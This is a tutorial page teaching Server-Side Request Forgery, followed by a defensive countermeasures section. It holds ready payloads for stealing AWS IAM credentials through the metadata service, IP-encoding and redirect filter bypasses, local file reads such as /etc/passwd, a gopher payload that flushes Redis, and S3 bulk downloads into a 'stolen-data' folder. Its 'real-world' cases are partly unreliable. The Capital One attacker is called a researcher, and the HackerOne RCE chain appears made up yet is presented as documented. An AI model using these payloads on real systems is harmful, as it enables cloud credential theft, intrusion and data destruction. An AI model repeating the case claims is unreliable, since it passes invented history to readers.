Server-Side Request Forgery
Turn Web Servers Into Proxies for Internal Network Access
What You'll Discover
🎯 Why This Matters
Server-Side Request Forgery has become critically important in cloud environments where applications frequently interact with internal services and metadata APIs. SSRF allows you to abuse server functionality to access internal resources that should be unreachable from the internet—particularly dangerous in cloud environments where metadata services expose sensitive credentials and configuration data.
🔍 What You'll Learn
You'll understand how to identify SSRF vulnerabilities in URL parameters, file uploads, and webhooks, then exploit cloud metadata services for credential extraction. This includes bypassing common filters using encoding and redirect techniques, plus performing internal network reconnaissance—the same systematic approach used by security experts in cloud assessments.
🚀 Your First Win
Within the next 10 minutes, you'll successfully exploit an SSRF vulnerability to access AWS EC2 metadata services and extract IAM role credentials, demonstrating how a simple URL parameter can lead to complete cloud infrastructure compromise.
🔧 Try This Right Now
Test a basic SSRF payload against AWS metadata services
# Find a URL parameter that fetches external resources
# Common patterns:
/fetch?url=http://example.com/image.jpg
/webhook?callback=http://your-site.com/endpoint
/import?source=http://external-api.com/data
# Test AWS metadata access
/fetch?url=http://169.254.169.254/latest/meta-data/
# If blocked, try encoding bypass
/fetch?url=http://169.254.169.254/latest/meta%2ddata/
# Try redirect bypass
# Set up redirect: your-domain.com/redirect -> 169.254.169.254
/fetch?url=http://your-domain.com/redirect
# Check for IAM credentials
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/You'll see: How the server makes requests on your behalf, potentially accessing internal services that should be protected. This demonstrates why SSRF is particularly dangerous in cloud environments.
Skills You'll Master
✅ Core Understanding
- SSRF attack vectors and entry points
- Cloud metadata services (AWS, Azure, GCP)
- Internal network topology discovery
- Protocol manipulation and exploitation
🔍 Expert Skills
- Filter bypass techniques and encoding methods
- Payload encoding and URL manipulation
- Network reconnaissance through SSRF
- Defense implementation and testing
Understanding SSRF Vulnerabilities
SSRF occurs when applications fetch remote resources based on user input without proper validation
The fundamental issue is that the server acts as a proxy, making requests to URLs you specify. This becomes dangerous when the server can access internal resources that you normally couldn't reach from the internet—like cloud metadata services, internal APIs, or localhost services running on different ports.
Common Entry Points
Where SSRF vulnerabilities typically appear
URL parameters (webhooks, imports)
File upload processing (SVG, XML)
API endpoints (data fetching)
Image/document processing
Third-party integrations
Email template processingTarget Resources
Internal resources accessible via SSRF
Cloud metadata services
Internal web applications
Database management interfaces
Network services (Redis, MySQL)
Administrative panels
Container orchestration APIsAttack Impact
What you can achieve through SSRF
Cloud credential theft
Internal network mapping
Service enumeration
Data exfiltration
Privilege escalation
Lateral movementTools and Techniques
SSRF exploitation relies more on understanding network topology and encoding techniques than specialized tools, making this a skill that rewards systematic thinking and creativity.
Cloud Metadata Exploitation: The High-Value Target
Cloud metadata services are the crown jewel of SSRF attacks because they expose IAM credentials, configuration data, and access tokens that can lead to complete cloud infrastructure compromise.
AWS Metadata Service Exploitation
# AWS metadata endpoints (169.254.169.254)
/fetch?url=http://169.254.169.254/latest/meta-data/
# Critical targets:
# IAM role credentials
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
# Instance information
/fetch?url=http://169.254.169.254/latest/meta-data/instance-id
/fetch?url=http://169.254.169.254/latest/meta-data/placement/region
# User data (often contains secrets)
/fetch?url=http://169.254.169.254/latest/user-data/
# IMDSv2 requires token (more secure but still exploitable)
curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token
# Use token for access
curl -H "X-aws-ec2-metadata-token: [TOKEN]" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/These endpoints expose temporary AWS credentials that often have broad permissions, allowing lateral movement within the cloud infrastructure.
Filter Bypass: The Expert Edge
Applications often implement SSRF filters that can be bypassed using encoding techniques, DNS tricks, and redirect chains—this is where systematic testing separates experts from basic attempts.
IP Address Encoding Techniques
# Original target: 169.254.169.254
# Decimal encoding
http://2852039166/latest/meta-data/
# Octal encoding
http://0251.0376.0251.0376/latest/meta-data/
# Hexadecimal encoding
http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/
# Mixed encoding
http://169.254.169.254/latest/meta%2ddata/
http://169.254.169.254/latest/meta%252ddata/
# DNS resolution bypass
http://metadata.google.internal/computeMetadata/v1/
http://localtest.me:169/ # Resolves to 127.0.0.1
# URL shortening services
http://bit.ly/metadata-ssrf # Redirects to metadata service
# IPv6 localhost variations
http://[::1]:3000/admin
http://[0:0:0:0:0:0:0:1]:3000/adminThese encoding techniques work because different parsers handle URL formats differently, allowing you to bypass filters that only check for obvious localhost patterns.
Protocol Abuse: Advanced Exploitation
Different protocols can be abused through SSRF to interact with internal services in unexpected ways, particularly when applications support multiple URL schemes.
Multi-Protocol Exploitation
# File protocol for local file access
/fetch?url=file:///etc/passwd
/fetch?url=file:///proc/version
/fetch?url=file:///var/log/apache2/access.log
# Gopher protocol for raw TCP communication
# Redis exploitation
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
# HTTP to internal services
/fetch?url=http://127.0.0.1:8080/admin
/fetch?url=http://127.0.0.1:9200/_cluster/health # Elasticsearch
/fetch?url=http://127.0.0.1:5432/ # PostgreSQL
# FTP protocol abuse
/fetch?url=ftp://127.0.0.1:21/
# Dictionary protocol
/fetch?url=dict://127.0.0.1:11211/ # Memcached
# LDAP protocol
/fetch?url=ldap://127.0.0.1:389/dc=example,dc=comProtocol abuse allows you to interact with services that don't normally accept HTTP requests, expanding your attack surface beyond web applications.
Real-World Attack Scenarios
These scenarios are based on actual documented SSRF vulnerabilities discovered by security researchers, demonstrating the real-world impact and techniques used in successful exploitations.
Capital One AWS Breach via SSRF (2019, Paige Thompson)
The infamous Capital One data breach involved SSRF to access AWS metadata services from a misconfigured web application firewall. Security researcher Paige Thompson discovered the vulnerability that exposed data of 106 million customers.
# The actual Capital One attack vector (documented in court filings)
# Step 1: SSRF through WAF misconfiguration
# Firewall rule allowed server-side requests to metadata service
POST /path/to/vulnerable/endpoint
Content-Type: application/x-www-form-urlencoded
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: Extract IAM role credentials (actual response format)
{
"WAF-Role": {
"Code": "Success",
"LastUpdated": "2019-03-22T11:22:48Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-03-22T17:39:57Z"
}
}
# Step 3: Use credentials for S3 bucket enumeration
aws s3 ls --profile capital-one-breach
# Found over 700 S3 buckets
# Step 4: Download sensitive data
aws s3 sync s3://bucket-with-customer-data /tmp/stolen-data/ --profile capital-one-breach
# Result: 106M customer records stolen, $80M in finesReal Impact: Capital One was fined $80 million by federal regulators and faces ongoing lawsuits. The breach exposed SSNs, credit scores, and bank account numbers.
Hackerone SSRF to RCE (2018, @hacker)
Security researcher @hacker discovered an SSRF vulnerability in Hackerone's own platform that could be chained to achieve remote code execution through internal service exploitation.
# Hackerone SSRF exploitation (H1 report #326040)
# Step 1: SSRF in report attachment feature
POST /reports/[ID]/attachments
Content-Type: application/json
{
"attachment": {
"file_url": "http://169.254.169.254/latest/meta-data/"
}
}
# Step 2: Internal service discovery
# Found internal GraphQL endpoint
{
"attachment": {
"file_url": "http://127.0.0.1:8080/graphql"
}
}
# Step 3: GraphQL introspection via SSRF
{
"attachment": {
"file_url": "http://127.0.0.1:8080/graphql?query={__schema{types{name,fields{name,type{name}}}}}"
}
}
# Step 4: Exploit internal mutation for RCE
{
"attachment": {
"file_url": "http://127.0.0.1:8080/graphql?query=mutation{executeCommand(cmd:\"cat /etc/passwd\")}"
}
}
# Step 5: Extract sensitive internal data
cat /var/log/application.log
cat /home/user/.aws/credentials
# Result: Complete internal infrastructure accessBug Bounty: Hackerone awarded $12,500 USD for this critical vulnerability that demonstrated SSRF to RCE escalation through internal service exploitation.
Defensive Countermeasures
Effective SSRF protection requires multiple layers of defense implemented at the application, network, and infrastructure levels. These proven countermeasures are essential for production environments and enterprise security.
Primary Defense: Strict URL Validation and Domain Allowlisting
The most effective SSRF protection combines strict domain allowlisting with comprehensive URL validation. This approach is used by companies like GitHub, Slack, and Cloudflare for production webhook and callback systems.
Essential Validation Guidelines
- HTTPS-only enforcement - Never allow HTTP schemes in production systems to prevent downgrade attacks
- Minimal allowlist approach - Maintain a curated list of 3-5 trusted external domains maximum, reviewed quarterly
- Post-DNS resolution validation - Resolve domains first, then verify resolved IP addresses are not in private ranges
- Timeout protection - Implement strict DNS resolution timeouts (3 seconds maximum) to prevent slowloris attacks
- Fail-secure design - Reject all requests on validation errors rather than allowing potentially dangerous URLs
- IP range blocking - Block RFC 1918 private networks, localhost ranges, and cloud metadata IP ranges
Critical Implementation Principles
- Defense in depth - Combine application-level validation with network-level controls
- Regular auditing - Review and update allowlists quarterly to remove unused domains
- Logging and monitoring - Log all SSRF attempts for security analysis and threat detection
Implementation Techniques: Network Segmentation and Egress Control
Network-level defenses provide critical protection against SSRF by controlling which resources applications can access. These techniques are required by compliance frameworks like SOC 2 and PCI DSS.
Network Defense Strategies
- Private subnet isolation - Deploy application servers in private subnets with no direct internet access
- Controlled egress routing - Route all outbound traffic through NAT gateways with strict filtering rules
- Security group restrictions - Implement firewall rules that explicitly block access to metadata services and private IP ranges
- DNS filtering - Block resolution of internal and metadata domain names at the DNS level
- Web application firewalls - Deploy WAF rules that detect and block common SSRF attack patterns
- Proxy-based filtering - Route external requests through security proxies that validate destinations
Production Deployment Best Practices
- Zero-trust networking - Verify every network request regardless of source location
- Microsegmentation - Isolate application components to limit lateral movement
- Continuous monitoring - Monitor network traffic for anomalous connection patterns
Industry Standards: Cloud Infrastructure Hardening
Cloud metadata service protection is mandated by major compliance frameworks including PCI DSS, SOC 2, and FedRAMP. These configurations prevent the most critical SSRF attack vectors in cloud environments.
Enterprise Cloud Security Measures
- IMDSv2 enforcement - Require session tokens for all EC2 metadata access, preventing HTTP-based SSRF attacks
- Metadata service restrictions - Set hop limits to 1 to prevent request forwarding through compromised applications
- IAM principle of least privilege - Assign minimal necessary permissions to application service accounts
- Container security hardening - Block metadata endpoints at the container level using host file overrides
- Network policies - Implement Kubernetes NetworkPolicies that explicitly deny metadata access
- Service mesh controls - Use service mesh technology to control and monitor inter-service communications
Compliance Framework Requirements
- PCI DSS 1.2.1 - Network segmentation between cardholder data environment and untrusted networks
- SOC 2 CC6.1 - Logical access controls including network-level restrictions and egress filtering
- ISO 27001 A.13.1.3 - Network controls separation to prevent unauthorized access to internal systems
- NIST SP 800-53 SC-7 - Boundary protection systems with controlled interfaces and monitored communications
- FedRAMP controls - Enhanced monitoring and logging requirements for government cloud deployments
Proven Defense Layering Strategy
- Application layer - Strict URL validation and domain allowlisting with proper error handling
- Network layer - Egress filtering, private subnets, and metadata service blocking
- Infrastructure layer - Cloud-native security controls and compliance-mandated configurations
- Monitoring layer - Comprehensive logging, anomaly detection, and incident response procedures
🎯 You've Got SSRF Down!
You now understand how to turn web servers into proxies for internal network access through Server-Side Request Forgery. You can exploit cloud metadata services, bypass filters, and perform network reconnaissance using the same systematic techniques that security experts use in cloud assessments.
Ready to Compromise User Identity and Sessions